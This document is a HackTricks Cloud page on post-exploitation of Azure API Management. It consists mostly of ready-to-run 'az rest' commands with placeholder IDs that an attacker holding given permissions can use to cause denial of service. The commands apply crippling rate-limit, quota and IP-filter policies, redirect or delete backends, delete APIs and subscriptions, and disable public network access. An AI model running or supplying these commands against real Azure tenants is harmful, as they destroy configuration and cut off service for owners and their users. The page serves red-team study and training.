Azure - API Management Post-Exploitation
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Microsoft.ApiManagement/service/apis/policies/write or Microsoft.ApiManagement/service/policies/write
The attacker can use multiple vectors to cause a denial of service. To block legitimate traffic, the attacker adds rate-limiting and quota policies with extremely low values, effectively preventing normal access:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
To block specific legitimate client IPs, the attacker can add IP filtering policies that reject requests from selected addresses:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
Microsoft.ApiManagement/service/backends/write or Microsoft.ApiManagement/service/backends/delete
To cause requests to fail, the attacker can modify a backend configuration and change its URL to an invalid or unreachable address:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'
Or delete backends:
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
Microsoft.ApiManagement/service/apis/delete
To make critical APIs unavailable, the attacker can delete them directly from the API Management service:
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
Microsoft.ApiManagement/service/write or Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action
To block access from the Internet, the attacker can disable public network access on the API Management service:
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'
Microsoft.ApiManagement/service/subscriptions/delete
To block access for legitimate users, the attacker can delete API Management subscriptions:
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

